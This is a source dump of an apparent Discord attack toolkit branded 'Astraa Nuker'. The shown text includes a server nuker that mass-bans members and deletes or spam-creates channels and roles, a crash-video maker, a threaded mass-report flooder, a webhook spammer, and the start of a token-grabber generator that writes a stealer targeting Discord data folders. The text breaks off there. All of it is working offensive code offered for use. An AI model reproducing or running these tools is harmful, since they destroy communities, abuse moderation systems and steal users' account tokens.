82 | def DeleteChannels(self, guild, channel): 83 | while True: 84 | r = requests.delete(f"https://discord.com/api/v8/channels/{channel}", headers=headers) 85 | if 'retry_after' in r.text: 86 | time.sleep(r.json()['retry_after']) 87 | else: 88 | if r.status_code == 200 or r.status_code == 201 or r.status_code == 204: 89 | print(f"{Fore.LIGHTWHITE_EX }[{self.colour}+{Fore.LIGHTWHITE_EX }] Deleted Channel {channel.strip()}") 90 | break 91 | else: 92 | break 93 | 94 | def DeleteRoles(self, guild, role): 95 | while True: 96 | r = requests.delete(f"https://discord.com/api/v8/guilds/{guild}/roles/{role}", headers=headers) 97 | if 'retry_after' in r.text: 98 | time.sleep(r.json()['retry_after']) 99 | else: 100 | if r.status_code == 200 or r.status_code == 201 or r.status_code == 204: 101 | print(f"{Fore.LIGHTWHITE_EX }[{self.colour}+{Fore.LIGHTWHITE_EX }] Deleted Role {role.strip()}") 102 | break 103 | else: 104 | break 105 | 106 | def SpamChannels(self, guild, name): 107 | while True: 108 | json = {'name': name, 'type': 0} 109 | r = requests.post(f'https://discord.com/api/v8/guilds/{guild}/channels', headers=headers, json=json) 110 | if 'retry_after' in r.text: 111 | time.sleep(r.json()['retry_after']) 112 | else: 113 | if r.status_code == 200 or r.status_code == 201 or r.status_code == 204: 114 | print(f"{Fore.LIGHTWHITE_EX }[{self.colour}+{Fore.LIGHTWHITE_EX }] Created Channel {name}") 115 | break 116 | else: 117 | break 118 | 119 | def SpamRoles(self, guild, name): 120 | while True: 121 | json = {'name': name} 122 | r = requests.post(f'https://discord.com/api/v8/guilds/{guild}/roles', headers=headers, json=json) 123 | if 'retry_after' in r.text: 124 | time.sleep(r.json()['retry_after']) 125 | else: 126 | if r.status_code == 200 or r.status_code == 201 or r.status_code == 204: 127 | print(f"{Fore.LIGHTWHITE_EX }[{self.colour}+{Fore.LIGHTWHITE_EX }] Created Role {name}") 128 | break 129 | else: 130 | break 131 | 132 | async def Scrape(self): 133 | guild = input(f'{Fore.LIGHTWHITE_EX }[{self.colour}#{Fore.LIGHTWHITE_EX }] Guild ID: ') 134 | await client.wait_until_ready() 135 | guildOBJ = client.get_guild(int(guild)) 136 | members = await guildOBJ.chunk() 137 | 138 | try: 139 | os.remove("temp/Scraped/members.txt") 140 | os.remove("temp/Scraped/channels.txt") 141 | os.remove("temp/Scraped/roles.txt") 142 | except: 143 | pass 144 | 145 | membercount = 0 146 | with open('temp/Scraped/members.txt', 'a') as m: 147 | for member in members: 148 | m.write(str(member.id) + "\n") 149 | membercount += 1 150 | print(f"\n{Fore.LIGHTWHITE_EX }[{self.colour}#{Fore.LIGHTWHITE_EX }] Scraped {membercount} Members") 151 | m.close() 152 | 153 | channelcount = 0 154 | with open('temp/Scraped/channels.txt', 'a') as c: 155 | for channel in guildOBJ.channels: 156 | c.write(str(channel.id) + "\n") 157 | channelcount += 1 158 | print(f"{Fore.LIGHTWHITE_EX }[{self.colour}#{Fore.LIGHTWHITE_EX }] Scraped {channelcount} Channels") 159 | c.close() 160 | 161 | rolecount = 0 162 | with open('temp/Scraped/roles.txt', 'a') as r: 163 | for role in guildOBJ.roles: 164 | r.write(str(role.id) + "\n") 165 | rolecount += 1 166 | print(f"{Fore.LIGHTWHITE_EX }[{self.colour}#{Fore.LIGHTWHITE_EX }] Scraped {rolecount} Roles") 167 | r.close() 168 | 169 | async def NukeExecute(self): 170 | guild = input(f'{Fore.LIGHTWHITE_EX }[{self.colour}#{Fore.LIGHTWHITE_EX }] Guild ID: ') 171 | channel_name = input(f"{Fore.LIGHTWHITE_EX }[{self.colour}#{Fore.LIGHTWHITE_EX }] Channel Names: ") 172 | channel_amount = input(f"{Fore.LIGHTWHITE_EX }[{self.colour}#{Fore.LIGHTWHITE_EX }] Channel Amount: ") 173 | role_name = input(f"{Fore.LIGHTWHITE_EX }[{self.colour}#{Fore.LIGHTWHITE_EX }] Role Names: ") 174 | role_amount = input(f"{Fore.LIGHTWHITE_EX }[{self.colour}#{Fore.LIGHTWHITE_EX }] Role Amount: ") 175 | print() 176 | 177 | members = open('temp/Scraped/members.txt') 178 | channels = open('temp/Scraped/channels.txt') 179 | roles = open('temp/Scraped/roles.txt') 180 | 181 | for member in members: 182 | threading.Thread(target=self.BanMembers, args=(guild, member,)).start() 183 | for channel in channels: 184 | threading.Thread(target=self.DeleteChannels, args=(guild, channel,)).start() 185 | for role in roles: 186 | threading.Thread(target=self.DeleteRoles, args=(guild, role,)).start() 187 | for i in range(int(channel_amount)): 188 | threading.Thread(target=self.SpamChannels, args=(guild, channel_name,)).start() 189 | for i in range(int(role_amount)): 190 | threading.Thread(target=self.SpamRoles, args=(guild, role_name,)).start() 191 | members.close() 192 | channels.close() 193 | roles.close() 194 | 195 | async def BanExecute(self): 196 | guild = input(f'{Fore.LIGHTWHITE_EX }[{self.colour}#{Fore.LIGHTWHITE_EX }] Guild ID: ') 197 | print() 198 | members = open('temp/Scraped/members.txt') 199 | for member in members: 200 | threading.Thread(target=self.BanMembers, args=(guild, member,)).start() 201 | members.close() 202 | 203 | async def KickExecute(self): 204 | guild = input(f'{Fore.LIGHTWHITE_EX }[{self.colour}#{Fore.LIGHTWHITE_EX }] Guild ID: ') 205 | print() 206 | members = open('temp/Scraped/members.txt') 207 | for member in members: 208 | threading.Thread(target=self.KickMembers, args=(guild, member,)).start() 209 | members.close() 210 | 211 | async def ChannelDeleteExecute(self): 212 | guild = input(f'{Fore.LIGHTWHITE_EX }[{self.colour}#{Fore.LIGHTWHITE_EX }] Guild ID: ') 213 | print() 214 | channels = open('temp/Scraped/channels.txt') 215 | for channel in channels: 216 | threading.Thread(target=self.DeleteChannels, args=(guild, channel,)).start() 217 | channels.close() 218 | 219 | async def RoleDeleteExecute(self): 220 | guild = input(f'{Fore.LIGHTWHITE_EX }[{self.colour}#{Fore.LIGHTWHITE_EX }] Guild ID: ') 221 | print() 222 | roles = open('temp/Scraped/roles.txt') 223 | for role in roles: 224 | threading.Thread(target=self.DeleteRoles, args=(guild, role,)).start() 225 | roles.close() 226 | 227 | async def ChannelSpamExecute(self): 228 | guild = input(f'{Fore.LIGHTWHITE_EX }[{self.colour}#{Fore.LIGHTWHITE_EX }] Guild ID: ') 229 | name = input(f"{Fore.LIGHTWHITE_EX }[{self.colour}#{Fore.LIGHTWHITE_EX }] Channel Names: ") 230 | amount = input(f"{Fore.LIGHTWHITE_EX }[{self.colour}#{Fore.LIGHTWHITE_EX }] Amount: ") 231 | print() 232 | for i in range(int(amount)): 233 | threading.Thread(target=self.SpamChannels, args=(guild, name,)).start() 234 | 235 | async def RoleSpamExecute(self): 236 | guild = input(f'{Fore.LIGHTWHITE_EX }[{self.colour}#{Fore.LIGHTWHITE_EX }] Guild ID: ') 237 | name = input(f"{Fore.LIGHTWHITE_EX }[{self.colour}#{Fore.LIGHTWHITE_EX }] Role Names: ") 238 | amount = input(f"{Fore.LIGHTWHITE_EX }[{self.colour}#{Fore.LIGHTWHITE_EX }] Amount: ") 239 | print() 240 | for i in range(int(amount)): 241 | threading.Thread(target=self.SpamRoles, args=(guild, name,)).start() 242 | 243 | async def PruneMembers(self): 244 | guild = input(f'{Fore.LIGHTWHITE_EX }[{self.colour}#{Fore.LIGHTWHITE_EX }] Guild ID: ') 245 | print() 246 | await guild.prune_members(days=1, compute_prune_count=False, roles=guild.roles) 247 | 248 | def Credits(self): 249 | os.system(f'cls & mode 85,20 & title [Astraa Nuker] - Credits') 250 | print(f''' 251 | {self.colour}╔═╗╔═╗╔╦╗╦═╗╔═╗╔═╗ ╔╗╔╦ ╦╦╔═╔═╗╦═╗ 252 | \033[90m╠═╣╚═╗ ║ ╠╦╝╠═╣╠═╣ ║║║║ ║╠╩╗║╣ ╠╦╝ 253 | \033[37m╩ ╩╚═╝ ╩ ╩╚═╩ ╩╩ ╩ ╝╚╝╚═╝╩ ╩╚═╝╩╚═\n\n 254 | 255 | {self.colour}[\033[37mGithub{self.colour}] \033[37mAstraaDev 256 | {self.colour}[\033[37mWebSite{self.colour}] \033[37mastraadev.club 257 | {self.colour}[\033[37mServer{self.colour}] \033[37mdiscord.gg/pUZrFnabvd\n 258 | {self.colour}[\033[37mTwitter{self.colour}] \033[37m@AstraaDev 259 | {self.colour}[\033[37mDiscord{self.colour}] \033[37mAstraa#4589 260 | {self.colour}[\033[37mInsta{self.colour}] \033[37m@astraaftn 261 | \033[37m''') 262 | 263 | async def ThemeChanger(self): 264 | os.system(f'cls & mode 85,20 & title [Astraa Nuker] - Themes') 265 | print(f''' 266 | {self.colour}╔═╗╔═╗╔╦╗╦═╗╔═╗╔═╗ ╔╗╔╦ ╦╦╔═╔═╗╦═╗ 267 | \033[90m╠═╣╚═╗ ║ ╠╦╝╠═╣╠═╣ ║║║║ ║╠╩╗║╣ ╠╦╝ 268 | \033[37m╩ ╩╚═╝ ╩ ╩╚═╩ ╩╩ ╩ ╝╚╝╚═╝╩ ╩╚═╝╩╚═\n\n 269 | {self.colour}╔═══════════════════════╦═══════════════════════╦═══════════════════════╗\033[37m 270 | {self.colour}║ \033[37m[{Fore.LIGHTRED_EX}1\033[37m] \033[37mRed {self.colour}║\033[37m [\x1b[38;5;56m5\033[37m] \033[37mPurple {self.colour}║\033[37m [\x1b[38;5;103m9\033[37m] \033[37mGrey {self.colour}║\033[37m 271 | {self.colour}║ \033[37m[{Fore.LIGHTGREEN_EX}2\033[37m] \033[37mGreen {self.colour}║\033[37m [{Fore.LIGHTBLUE_EX}6\033[37m] \033[37mBlue {self.colour}║\033[37m [\x1b[38;5;209m0\033[37m] \033[37mPeach {self.colour}║\033[37m 272 | {self.colour}║ \033[37m[{Fore.LIGHTYELLOW_EX}3\033[37m] \033[37mYellow {self.colour}║\033[37m [\x1b[38;5;201m7\033[37m] \033[37mPink {self.colour}║\033[37m [{Fore.LIGHTWHITE_EX}M\033[37m] \033[37mMenu {self.colour}║\033[37m 273 | {self.colour}║ \033[37m[\x1b[38;5;172m4\033[37m] \033[37mOrange {self.colour}║\033[37m [\x1b[38;5;51m8\033[37m] \033[37mCyan {self.colour}║\033[37m [{Fore.LIGHTWHITE_EX}X\033[37m] \033[37mExit {self.colour}║\033[37m 274 | {self.colour}╚═══════════════════════╩═══════════════════════╩═══════════════════════╝\033[37m 275 | 276 | \033[37m''') 277 | choice = input(f"""{Fore.LIGHTYELLOW_EX }[{Fore.LIGHTWHITE_EX }#{Fore.LIGHTYELLOW_EX }]{Fore.LIGHTWHITE_EX } Choice: """) 278 | 279 | if choice == '1': 280 | self.colour = Fore.LIGHTRED_EX 281 | await self.ThemeChanger() 282 | elif choice == '2': 283 | self.colour = Fore.LIGHTGREEN_EX 284 | await self.ThemeChanger() 285 | elif choice == '3': 286 | self.colour = Fore.LIGHTYELLOW_EX 287 | await self.ThemeChanger() 288 | elif choice == '4': 289 | self.colour = '\x1b[38;5;172m' 290 | await self.ThemeChanger() 291 | elif choice == '5': 292 | self.colour = '\x1b[38;5;56m' 293 | await self.ThemeChanger() 294 | elif choice == '6': 295 | self.colour = Fore.LIGHTBLUE_EX 296 | await self.ThemeChanger() 297 | elif choice == '7': 298 | self.colour = '\x1b[38;5;201m' 299 | await self.ThemeChanger() 300 | elif choice == '8': 301 | self.colour = '\x1b[38;5;51m' 302 | await self.ThemeChanger() 303 | elif choice == '9': 304 | self.colour = '\x1b[38;5;103m' 305 | await self.ThemeChanger() 306 | elif choice == '0': 307 | self.colour = '\x1b[38;5;209m' 308 | await self.ThemeChanger() 309 | elif choice == 'M' or choice == 'm': 310 | await self.Menu() 311 | elif choice == 'X' or choice == 'x': 312 | main() 313 | 314 | async def Menu(self): 315 | os.system(f'cls & mode 85,20 & title [Astraa Nuker] - Connected: {client.user}') 316 | print(f''' 317 | {self.colour}╔═╗╔═╗╔╦╗╦═╗╔═╗╔═╗ ╔╗╔╦ ╦╦╔═╔═╗╦═╗ 318 | \033[90m╠═╣╚═╗ ║ ╠╦╝╠═╣╠═╣ ║║║║ ║╠╩╗║╣ ╠╦╝ 319 | \033[37m╩ ╩╚═╝ ╩ ╩╚═╩ ╩╩ ╩ ╝╚╝╚═╝╩ ╩╚═╝╩╚═\n\n 320 | {self.colour}╔═══════════════════════╦═══════════════════════╦═══════════════════════╗\033[37m 321 | {self.colour}║ {Fore.LIGHTWHITE_EX }[{self.colour}1{Fore.LIGHTWHITE_EX }] \033[37mBan Members {self.colour}║\033[37m {Fore.LIGHTWHITE_EX }[{self.colour}5{Fore.LIGHTWHITE_EX }] \033[37mDelete Channels {self.colour}║\033[37m {Fore.LIGHTWHITE_EX }[{self.colour}9{Fore.LIGHTWHITE_EX }] \033[37mScrape Info {self.colour}║\033[37m 322 | {self.colour}║ {Fore.LIGHTWHITE_EX }[{self.colour}2{Fore.LIGHTWHITE_EX }] \033[37mKick Members {self.colour}║\033[37m {Fore.LIGHTWHITE_EX }[{self.colour}6{Fore.LIGHTWHITE_EX }] \033[37mCreate Roles {self.colour}║\033[37m {Fore.LIGHTWHITE_EX }[{self.colour}0{Fore.LIGHTWHITE_EX }] \033[37mChange Themes {self.colour}║\033[37m 323 | {self.colour}║ {Fore.LIGHTWHITE_EX }[{self.colour}3{Fore.LIGHTWHITE_EX }] \033[37mPrune Members {self.colour}║\033[37m {Fore.LIGHTWHITE_EX }[{self.colour}7{Fore.LIGHTWHITE_EX }] \033[37mCreate Channels {self.colour}║\033[37m {Fore.LIGHTWHITE_EX }[{self.colour}C{Fore.LIGHTWHITE_EX }] \033[37mView Credits {self.colour}║\033[37m 324 | {self.colour}║ {Fore.LIGHTWHITE_EX }[{self.colour}4{Fore.LIGHTWHITE_EX }] \033[37mDelete Roles {self.colour}║\033[37m {Fore.LIGHTWHITE_EX }[{self.colour}8{Fore.LIGHTWHITE_EX }] \033[37mNuke Server {self.colour}║\033[37m {Fore.LIGHTWHITE_EX }[{self.colour}X{Fore.LIGHTWHITE_EX }] \033[37mExit {self.colour}║\033[37m 325 | {self.colour}╚═══════════════════════╩═══════════════════════╩═══════════════════════╝\033[37m 326 | 327 | \033[37m''') 328 | 329 | choice = input(f"""{Fore.LIGHTWHITE_EX }[{self.colour}#{Fore.LIGHTWHITE_EX }] Choice: """) 330 | if choice == '1': 331 | await self.BanExecute() 332 | time.sleep(2) 333 | await self.Menu() 334 | elif choice == '2': 335 | await self.KickExecute() 336 | time.sleep(2) 337 | await self.Menu() 338 | elif choice == '3': 339 | await self.PruneMembers() 340 | time.sleep(2) 341 | await self.Menu() 342 | elif choice == '4': 343 | await self.RoleDeleteExecute() 344 | time.sleep(2) 345 | await self.Menu() 346 | elif choice == '5': 347 | await self.ChannelDeleteExecute() 348 | time.sleep(2) 349 | await self.Menu() 350 | elif choice == '6': 351 | await self.RoleSpamExecute() 352 | time.sleep(2) 353 | await self.Menu() 354 | elif choice == '7': 355 | await self.ChannelSpamExecute() 356 | time.sleep(2) 357 | await self.Menu() 358 | elif choice == '8': 359 | await self.NukeExecute() 360 | time.sleep(2) 361 | await self.Menu() 362 | elif choice == '9': 363 | await self.Scrape() 364 | time.sleep(3) 365 | await self.Menu() 366 | elif choice == '0': 367 | await self.ThemeChanger() 368 | elif choice == 'C' or choice == 'c': 369 | self.Credits() 370 | input() 371 | await self.Menu() 372 | elif choice == 'X' or choice == 'x': 373 | main() 374 | 375 | @client.event 376 | async def on_ready(): 377 | await Nuker().Menu() 378 | 379 | def Startup(self): 380 | try: 381 | if token_type == "user": 382 | client.run(token, bot=False) 383 | elif token_type == "bot": 384 | client.run(token) 385 | except: 386 | print(f"""{Fore.LIGHTWHITE_EX }[{Fore.LIGHTRED_EX }#{Fore.LIGHTWHITE_EX }] Invalid Token""") 387 | input() 388 | main() 389 | 390 | startt = Nuker() 391 | startt.Startup() -------------------------------------------------------------------------------- /Additional_File/3_VidCrashMaker/crashvideomaker.bat: -------------------------------------------------------------------------------- 1 | @echo off 2 | 3 | color e 4 | echo. 5 | echo _ ___ __ ______ __ ______ 6 | echo ^| ^| / (_)___/ /__ ____ / ____/________ ______/ /_ / ____/__ ____ 7 | echo ^| ^| / / / __ / _ \/ __ \/ / / ___/ __ `/ ___/ __ \ / / __/ _ \/ __ \ 8 | echo ^| ^|/ / / /_/ / __/ /_/ / /___/ / / /_/ (__ ) / / / / /_/ / __/ / / / 9 | echo ^|___/_/\__,_/\___/\____/\____/_/ \__,_/____/_/ /_/ \____/\___/_/ /_/ 10 | echo. 11 | echo. 12 | echo ------------------------------------------------------------------------------------------------------------------------ 13 | echo ev.club/ ^| http://astraadev.club/ ^| http://astraadev.club/ ^| http://astraadev.club/ ^| http://astraadev.club/ ^| http://as 14 | echo ------------------------------------------------------------------------------------------------------------------------ 15 | echo. 16 | echo [+] ADDITIONAL INFORMATION: 17 | echo. 18 | echo [!] Hardware acceleration must be enabled for it to work. 19 | echo [!] Crash videos can get you banned in some Discord servers. 20 | echo [!] FFmpeg needs to be installed for this to work! 21 | pause >nul 22 | 23 | WHERE ffmpeg 24 | IF %ERRORLEVEL% NEQ 0 echo ffmpeg wasn't found. Please make sure it is installed correctly. && pause && exit 25 | color e 26 | cls 27 | 28 | echo. 29 | echo _ ___ __ ______ __ ______ 30 | echo ^| ^| / (_)___/ /__ ____ / ____/________ ______/ /_ / ____/__ ____ 31 | echo ^| ^| / / / __ / _ \/ __ \/ / / ___/ __ `/ ___/ __ \ / / __/ _ \/ __ \ 32 | echo ^| ^|/ / / /_/ / __/ /_/ / /___/ / / /_/ (__ ) / / / / /_/ / __/ / / / 33 | echo ^|___/_/\__,_/\___/\____/\____/_/ \__,_/____/_/ /_/ \____/\___/_/ /_/ 34 | echo. 35 | echo. 36 | echo ------------------------------------------------------------------------------------------------------------------------ 37 | echo ev.club/ ^| http://astraadev.club/ ^| http://astraadev.club/ ^| http://astraadev.club/ ^| http://astraadev.club/ ^| http://as 38 | echo ------------------------------------------------------------------------------------------------------------------------ 39 | echo. 40 | set /p filepath=[#] Enter path to video file (or drag and drop the video here) : 41 | echo. 42 | 43 | set timestamp=1 44 | set /p timestamp=[#] Enter the time when the video should crash (in seconds) : 45 | cls 46 | 47 | echo. 48 | echo _ ___ __ ______ __ ______ 49 | echo ^| ^| / (_)___/ /__ ____ / ____/________ ______/ /_ / ____/__ ____ 50 | echo ^| ^| / / / __ / _ \/ __ \/ / / ___/ __ `/ ___/ __ \ / / __/ _ \/ __ \ 51 | echo ^| ^|/ / / /_/ / __/ /_/ / /___/ / / /_/ (__ ) / / / / /_/ / __/ / / / 52 | echo ^|___/_/\__,_/\___/\____/\____/_/ \__,_/____/_/ /_/ \____/\___/_/ /_/ 53 | echo. 54 | echo. 55 | echo ------------------------------------------------------------------------------------------------------------------------ 56 | echo ev.club/ ^| http://astraadev.club/ ^| http://astraadev.club/ ^| http://astraadev.club/ ^| http://astraadev.club/ ^| http://as 57 | echo ------------------------------------------------------------------------------------------------------------------------ 58 | echo. 59 | echo [#] Getting video duration... 60 | ffprobe -i %filepath% -show_entries format=duration -v quiet -of csv="p=0" > tmpfile 61 | set /p duration= < tmpfile 62 | del tmpfile 63 | ping 127.0.0.1 -n 3 > NUL 64 | cls 65 | 66 | echo [#] Splitting video... 67 | ffmpeg -i %filepath% -ss 0 -t %timestamp% part1.mp4 68 | ffmpeg -i %filepath% -ss %timestamp% -t %duration% part2.mp4 69 | 70 | echo [#] Changing video properties... 71 | ffmpeg -i part2.mp4 -pix_fmt yuv444p part2_new.mp4 72 | cls 73 | 74 | echo. 75 | echo _ ___ __ ______ __ ______ 76 | echo ^| ^| / (_)___/ /__ ____ / ____/________ ______/ /_ / ____/__ ____ 77 | echo ^| ^| / / / __ / _ \/ __ \/ / / ___/ __ `/ ___/ __ \ / / __/ _ \/ __ \ 78 | echo ^| ^|/ / / /_/ / __/ /_/ / /___/ / / /_/ (__ ) / / / / /_/ / __/ / / / 79 | echo ^|___/_/\__,_/\___/\____/\____/_/ \__,_/____/_/ /_/ \____/\___/_/ /_/ 80 | echo. 81 | echo. 82 | echo ------------------------------------------------------------------------------------------------------------------------ 83 | echo ev.club/ ^| http://astraadev.club/ ^| http://astraadev.club/ ^| http://astraadev.club/ ^| http://astraadev.club/ ^| http://as 84 | echo ------------------------------------------------------------------------------------------------------------------------ 85 | echo. 86 | echo [#] Creating file list... 87 | echo file part1.mp4> file_list.txt 88 | echo file part2_new.mp4>> file_list.txt 89 | ping 127.0.0.1 -n 3 > NUL 90 | cls 91 | 92 | echo [#] Creating output file... 93 | ffmpeg -f concat -safe 0 -i file_list.txt -codec copy temp/crasher.mp4 94 | cls 95 | 96 | echo. 97 | echo _ ___ __ ______ __ ______ 98 | echo ^| ^| / (_)___/ /__ ____ / ____/________ ______/ /_ / ____/__ ____ 99 | echo ^| ^| / / / __ / _ \/ __ \/ / / ___/ __ `/ ___/ __ \ / / __/ _ \/ __ \ 100 | echo ^| ^|/ / / /_/ / __/ /_/ / /___/ / / /_/ (__ ) / / / / /_/ / __/ / / / 101 | echo ^|___/_/\__,_/\___/\____/\____/_/ \__,_/____/_/ /_/ \____/\___/_/ /_/ 102 | echo. 103 | echo. 104 | echo ------------------------------------------------------------------------------------------------------------------------ 105 | echo ev.club/ ^| http://astraadev.club/ ^| http://astraadev.club/ ^| http://astraadev.club/ ^| http://astraadev.club/ ^| http://as 106 | echo ------------------------------------------------------------------------------------------------------------------------ 107 | echo. 108 | echo [#] Cleaning up old files... 109 | del part1.mp4 110 | del part2.mp4 111 | del part2_new.mp4 112 | del file_list.txt 113 | ping 127.0.0.1 -n 3 > NUL 114 | cls 115 | 116 | echo. 117 | echo _ ___ __ ______ __ ______ 118 | echo ^| ^| / (_)___/ /__ ____ / ____/________ ______/ /_ / ____/__ ____ 119 | echo ^| ^| / / / __ / _ \/ __ \/ / / ___/ __ `/ ___/ __ \ / / __/ _ \/ __ \ 120 | echo ^| ^|/ / / /_/ / __/ /_/ / /___/ / / /_/ (__ ) / / / / /_/ / __/ / / / 121 | echo ^|___/_/\__,_/\___/\____/\____/_/ \__,_/____/_/ /_/ \____/\___/_/ /_/ 122 | echo. 123 | echo. 124 | echo ------------------------------------------------------------------------------------------------------------------------ 125 | echo ev.club/ ^| http://astraadev.club/ ^| http://astraadev.club/ ^| http://astraadev.club/ ^| http://astraadev.club/ ^| http://as 126 | echo ------------------------------------------------------------------------------------------------------------------------ 127 | echo. 128 | echo [#] Output video created! It is located at "%CD%\temp\crasher.mp4" 129 | pause >nul 130 | -------------------------------------------------------------------------------- /Additional_File/4_MassReport/massreport.py: -------------------------------------------------------------------------------- 1 | import json, requests, time, threading, os, ctypes 2 | from tkinter.constants import W 3 | from colorama import Fore 4 | 5 | class massreport: 6 | def __init__(self): 7 | os.system('cls') 8 | massreporttitle() 9 | print(f"""{y}[{w}+{y}]{w} Enter the ID of the server where the message to be reported is located: """) 10 | self.GUILD_ID = str(input(f"""{y}[{b}#{y}]{w} Guild ID: """)) 11 | print(f"""\n{y}[{w}+{y}]{w} Enter the ID of the channel in which the message to be reported is located: """) 12 | self.CHANNEL_ID = str(input(f"""{y}[{b}#{y}]{w} Channel ID: """)) 13 | print(f"""\n{y}[{w}+{y}]{W} Enter the ID of the message to be reported: """) 14 | self.MESSAGE_ID = str(input(f"""{y}[{b}#{y}]{w} Message ID: """)) 15 | print(f"""\n{y}[{w}+{y}]{w} Choose the reason for the report: """) 16 | print(f""" {y}[{w}1{y}]{w} Illegal content""") 17 | print(f""" {y}[{w}2{y}]{w} Harassment""") 18 | print(f""" {y}[{w}3{y}]{w} Spam or phishing links""") 19 | print(f""" {y}[{w}4{y}]{w} Self-harm""") 20 | print(f""" {y}[{w}5{y}]{w} NSFW content\n""") 21 | REASON = input(f"""{y}[{b}#{y}]{w} Choice: """) 22 | 23 | if REASON == '1': 24 | self.REASON = 0 25 | elif REASON == '2': 26 | self.REASON = 1 27 | elif REASON == '3': 28 | self.REASON = 2 29 | elif REASON == '4': 30 | self.REASON = 3 31 | elif REASON == '5': 32 | self.REASON = 4 33 | else: 34 | print(f""" {y}[{Fore.LIGHTRED_EX }!{y}]{w} Your request is invalid !""") 35 | time.sleep(2) 36 | main() 37 | 38 | self.RESPONSES = {f""" 39 | 401: Unauthorized: {y}[{Fore.LIGHTRED_EX }!{y}]{w} Invalid Discord token, 40 | Missing Access: {y}[{Fore.LIGHTRED_EX }!{y}]{w} Missing access to channel or guild, 41 | You need to verify your account in order to perform this action: {y}[{Fore.LIGHTRED_EX }!{y}]{w} Unverified"""} 42 | self.sent = 0 43 | self.errors = 0 44 | 45 | def _reporter(self): 46 | report = requests.post( 47 | 'https://discordapp.com/api/v8/report', json={ 48 | 'channel_id': self.CHANNEL_ID, 49 | 'message_id': self.MESSAGE_ID, 50 | 'guild_id': self.GUILD_ID, 51 | 'reason': self.REASON 52 | }, headers={ 53 | 'Accept': '*/*', 54 | 'Accept-Encoding': 'gzip, deflate', 55 | 'Accept-Language': 'sv-SE', 56 | 'User-Agent': 'Discord/21295 CFNetwork/1128.0.1 Darwin/19.6.0', 57 | 'Content-Type': 'application/json', 58 | 'Authorization': self.TOKEN 59 | } 60 | ) 61 | if (status := report.status_code) == 201: 62 | self.sent += 1 63 | print(f"""{y}[{Fore.LIGHTGREEN_EX }!{y}]{w} Reported successfully""") 64 | elif status in (401, 403): 65 | self.errors += 1 66 | print(self.RESPONSES[report.json()['message']]) 67 | else: 68 | self.errors += 1 69 | print(f"""{y}[{Fore.LIGHTRED_EX }!{y}]{w} Error: {report.text} | Status Code: {status}""") 70 | 71 | def _update_title(self): 72 | while True: 73 | os.system(f'title [Discord Reporter] - Sent: {self.sent} ^| Errors: {self.errors}') 74 | time.sleep(0.1) 75 | 76 | def _multi_threading(self): 77 | threading.Thread(target=self._update_title).start() 78 | while True: 79 | if threading.active_count() <= 300: 80 | time.sleep(1) 81 | threading.Thread(target=self._reporter).start() 82 | 83 | def setup(self): 84 | recognized = None 85 | if os.path.exists(config_json := 'temp/Config.json'): 86 | with open(config_json, 'r') as f: 87 | try: 88 | data = json.load(f) 89 | self.TOKEN = data['discordToken'] 90 | except (KeyError, json.decoder.JSONDecodeError): 91 | recognized = False 92 | else: 93 | recognized = True 94 | else: 95 | recognized = False 96 | 97 | if not recognized: 98 | print(f"""\n{y}[{w}+{y}]{w} Enter your token: """) 99 | self.TOKEN = input(f"""{y}[{b}#{y}]{w} Token: """) 100 | with open(config_json, 'w') as f: 101 | json.dump({'discordToken': self.TOKEN}, f) 102 | print() 103 | self._multi_threading() 104 | 105 | mr = massreport() 106 | mr.setup() 107 | -------------------------------------------------------------------------------- /Additional_File/5_WebhookSpam/webhookspam.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import time 3 | from colorama import Fore 4 | import os 5 | import ctypes 6 | 7 | def webhookspam(): 8 | os.system('cls') 9 | webhookspamtitle() 10 | print(f"""{y}[{w}+{y}]{w} Webhooks url for spam: """) 11 | webhook = input(f"""{y}[{b}#{y}]{w} WebHooks: """) 12 | print(f"""\n\n{y}[{b}+{y}]{w} Message to spam: """) 13 | message = input(f"""{y}[{b}#{y}]{w} Message: """) 14 | print(f"""\n\n{y}[{w}+{y}]{w} Amount of time for the attack (s):: """) 15 | timer = input(f"""{y}[{b}#{y}]{w} Amount: """) 16 | input(f"""\n\n\n\n{y}[{b}#{y}]{w} Press ENTER to Valid""") 17 | 18 | try: 19 | timeout = time.time() + 1 * float(timer) + 2 20 | 21 | while time.time() < timeout: 22 | response = requests.post( 23 | webhook, 24 | json = {"content" : message}, 25 | params = {'wait' : True} 26 | ) 27 | os.system('cls') 28 | time.sleep(1) 29 | if response.status_code == 204 or response.status_code == 200: 30 | print(f"""{y}[{Fore.LIGHTGREEN_EX }!{y}]{w} Message sent""") 31 | elif response.status_code == 429: 32 | print(f"""{y}[{Fore.LIGHTRED_EX }!{y}]{w} Rate limited ({response.json()['retry_after']}ms)""") 33 | time.sleep(response.json()["retry_after"] / 1000) 34 | else: 35 | print(f"""{y}[{Fore.LIGHTRED_EX }!{y}]{w} Error code: {response.status_code}""") 36 | except: 37 | print(f""" {y}[{Fore.LIGHTRED_EX }!{y}]{w} Your request is invalid !""") 38 | time.sleep(2) 39 | os.system('cls') 40 | main() 41 | 42 | webhookspam() 43 | -------------------------------------------------------------------------------- /Additional_File/6_TokenGrab/tokengrabber.py: -------------------------------------------------------------------------------- 1 | from colorama import Fore 2 | import time, sys, os, ctypes, shutil 3 | 4 | def tokengrabber(): 5 | def spinner(): 6 | l = ['|', '/', '-', '\\'] 7 | for i in l+l: 8 | sys.stdout.write(f"""\r{y}[{b}#{y}]{w} Creating File... {i}""") 9 | sys.stdout.flush() 10 | time.sleep(0.2) 11 | print('\n') 12 | for i in l+l+l+l: 13 | sys.stdout.write(f"""\r{y}[{b}#{y}]{w} Writing File... {i}""") 14 | sys.stdout.flush() 15 | time.sleep(0.2) 16 | 17 | os.system('cls') 18 | tokengrabbertitle() 19 | print(f"""{y}[{w}+{y}]{w} Enter the name you want to give to the final file: """) 20 | global filename 21 | fileName = str(input(f"""{y}[{b}#{y}]{w} File name: """)) 22 | print(f"""\n\n{y}[{w}+{y}]{w} Enter your WebHook to generate a Token Grabber containing it: """) 23 | global webhooklink 24 | webhooklink = str(input(f"""{y}[{b}#{y}]{w} Webhook Link: """)) 25 | print('\n') 26 | spinner() 27 | 28 | try: 29 | with open(f"temp/{fileName}.py", "w") as file: 30 | file.write("""import os 31 | if os.name != "nt": 32 | exit() 33 | from re import findall 34 | from json import loads, dumps 35 | from base64 import b64decode 36 | from subprocess import Popen, PIPE 37 | from urllib.request import Request, urlopen 38 | from datetime import datetime 39 | from threading import Thread 40 | from time import sleep 41 | from sys import argv 42 | LOCAL = os.getenv("LOCALAPPDATA") 43 | ROAMING = os.getenv("APPDATA") 44 | PATHS = { 45 | "Discord" : ROAMING 